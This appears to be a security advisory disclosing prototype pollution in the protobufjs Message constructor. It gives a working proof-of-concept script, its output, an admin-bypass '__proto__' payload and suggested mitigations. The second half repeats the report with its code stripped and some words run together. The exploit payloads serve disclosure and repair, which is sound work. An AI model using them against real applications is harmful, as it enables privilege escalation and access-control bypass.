Prototype Pollution via proto Property Assignment in protobufjs
hi, we are a security team. We found a prototype pollution vulnerability in your project.
Summary
A critical prototype pollution vulnerability exists in protobufjs versions <= 8.0.0. The vulnerability allows attackers to pollute Object.prototype by providing a malicious properties object containing __proto__ as a key to the Message constructor. This can lead to Remote Code Execution (RCE), Denial of Service (DoS), authentication bypass, and other severe security impacts in applications that process untrusted input.
Details
The vulnerability exists in the Message constructor implementation in src/message.js. The constructor accepts a properties object and iterates over its keys using Object.keys(), then directly assigns each property to the instance using dynamic property writes:
Vulnerable Code Location:
- File:
src/message.js
- Line: 17 (and related dynamic property write operations)
The problematic code pattern is:
// Simplified vulnerable pattern
for (var i = 0; i < keys.length; ++i)
this[keys[i]] = properties[keys[i]];
When properties contains __proto__ as a key, the assignment this['__proto__'] does not create an own property on the instance. Instead, it traverses the prototype chain and modifies Object.prototype, polluting all JavaScript objects in the application.
Additional Affected Sinks:
The codebase contains multiple instances of dynamic property writes that may be exploitable:
- Line 165:
seenFirstField[field.partOf.name] = 1;
- Line 39:
buf[pos++] = val[i++];
- Line 75: Property assignment patterns in object iteration
These patterns create multiple attack surfaces for prototype pollution when processing untrusted input.
PoC
Steps to Reproduce
-
Install the vulnerable package:
-
Create a test file (test-pollution.js):
const protobuf = require('protobufjs');
// Verify Object.prototype is clean before attack
console.log('Before attack:');
console.log('Object.prototype.polluted:', Object.prototype.polluted); // undefined
// Create malicious message with __proto__ payload
const maliciousPayload = {
'__proto__': {
'polluted': 'Prototype has been polluted!',
'isAdmin': true
}
};
// Trigger the vulnerability
const maliciousMessage = new protobuf.Message(maliciousPayload);
// Verify pollution
console.log('\nAfter attack:');
console.log('Object.prototype.polluted:', Object.prototype.polluted);
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
// Demonstrate impact on new objects
const cleanObject = {};
console.log('\nImpact on new objects:');
console.log('cleanObject.polluted:', cleanObject.polluted);
console.log('cleanObject.isAdmin:', cleanObject.isAdmin);
-
Execute the test:
Expected Behavior
The Message constructor should safely handle the properties object without modifying Object.prototype. New objects should not inherit unexpected properties.
Actual Behavior
Before attack:
Object.prototype.polluted: undefined
After attack:
Object.prototype.polluted: Prototype has been polluted!
Object.prototype.isAdmin: true
Impact on new objects:
cleanObject.polluted: Prototype has been polluted!
cleanObject.isAdmin: true
The Object.prototype is successfully polluted, and all subsequently created objects inherit the malicious properties.
Impact
This prototype pollution vulnerability has CRITICAL severity and can lead to:
1. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval() or Function() constructors
child_process.exec() or child_process.spawn()
- Template engines that execute code based on object properties
2. Denial of Service (DoS)
Attackers can:
- Overwrite critical methods like
toString, valueOf, or hasOwnProperty
- Cause application crashes by injecting invalid values
- Create infinite loops or resource exhaustion
3. Authentication and Authorization Bypass
By injecting properties like:
{
'__proto__': {
'isAdmin': true,
'role': 'administrator',
'authenticated': true
}
}
Applications using property checks for access control may be completely bypassed.
4. Security Control Bypass
- SQL injection filters
- XSS sanitization logic
- CSRF token validation
- Rate limiting mechanisms
5. Data Manipulation
Attackers can inject properties that affect:
- Business logic decisions
- Data validation routines
- Configuration settings
- Feature flags
Attack Scenario Example:
// Vulnerable application code
app.post('/api/message', (req, res) => {
const message = new protobuf.Message(req.body);
// Later in the code...
const user = getUserFromSession(req);
if (user.isAdmin) { // This property might now be polluted!
performAdminAction();
}
});
Any application that:
- Processes user-controlled input through protobufjs Message constructors
- Uses protobuf for API deserialization
- Accepts protobuf messages from untrusted sources
is potentially vulnerable to these attacks.
Remediation Recommendations
Until an official patch is released, consider these mitigations:
- Input Validation: Reject objects containing
__proto__, constructor, or prototype keys
- Use Object.create(null): For internal property storage
- Freeze prototypes:
Object.freeze(Object.prototype)
- Update immediately when a patched version becomes available
Prototype Pollution via proto Property Assignment in protobufjs
hi, we are a security team. We found a prototype pollution vulnerability in your project.
Summary
A critical prototype pollution vulnerability exists in protobufjs versions <= 8.0.0. The vulnerability allows attackers to pollute
Object.prototypeby providing a malicious properties object containing__proto__as a key to the Message constructor. This can lead to Remote Code Execution (RCE), Denial of Service (DoS), authentication bypass, and other severe security impacts in applications that process untrusted input.Details
The vulnerability exists in the
Messageconstructor implementation insrc/message.js. The constructor accepts apropertiesobject and iterates over its keys usingObject.keys(), then directly assigns each property to the instance using dynamic property writes:Vulnerable Code Location:
src/message.jsThe problematic code pattern is:
When
propertiescontains__proto__as a key, the assignmentthis['__proto__']does not create an own property on the instance. Instead, it traverses the prototype chain and modifiesObject.prototype, polluting all JavaScript objects in the application.Additional Affected Sinks:
The codebase contains multiple instances of dynamic property writes that may be exploitable:
seenFirstField[field.partOf.name] = 1;buf[pos++] = val[i++];These patterns create multiple attack surfaces for prototype pollution when processing untrusted input.
PoC
Steps to Reproduce
Install the vulnerable package:
Create a test file (
test-pollution.js):Execute the test:
Expected Behavior
The
Messageconstructor should safely handle the properties object without modifyingObject.prototype. New objects should not inherit unexpected properties.Actual Behavior
The
Object.prototypeis successfully polluted, and all subsequently created objects inherit the malicious properties.Impact
This prototype pollution vulnerability has CRITICAL severity and can lead to:
1. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval()orFunction()constructorschild_process.exec()orchild_process.spawn()2. Denial of Service (DoS)
Attackers can:
toString,valueOf, orhasOwnProperty3. Authentication and Authorization Bypass
By injecting properties like:
Applications using property checks for access control may be completely bypassed.
4. Security Control Bypass
5. Data Manipulation
Attackers can inject properties that affect:
Attack Scenario Example:
Any application that:
is potentially vulnerable to these attacks.
Remediation Recommendations
Until an official patch is released, consider these mitigations:
__proto__,constructor, orprototypekeysObject.freeze(Object.prototype)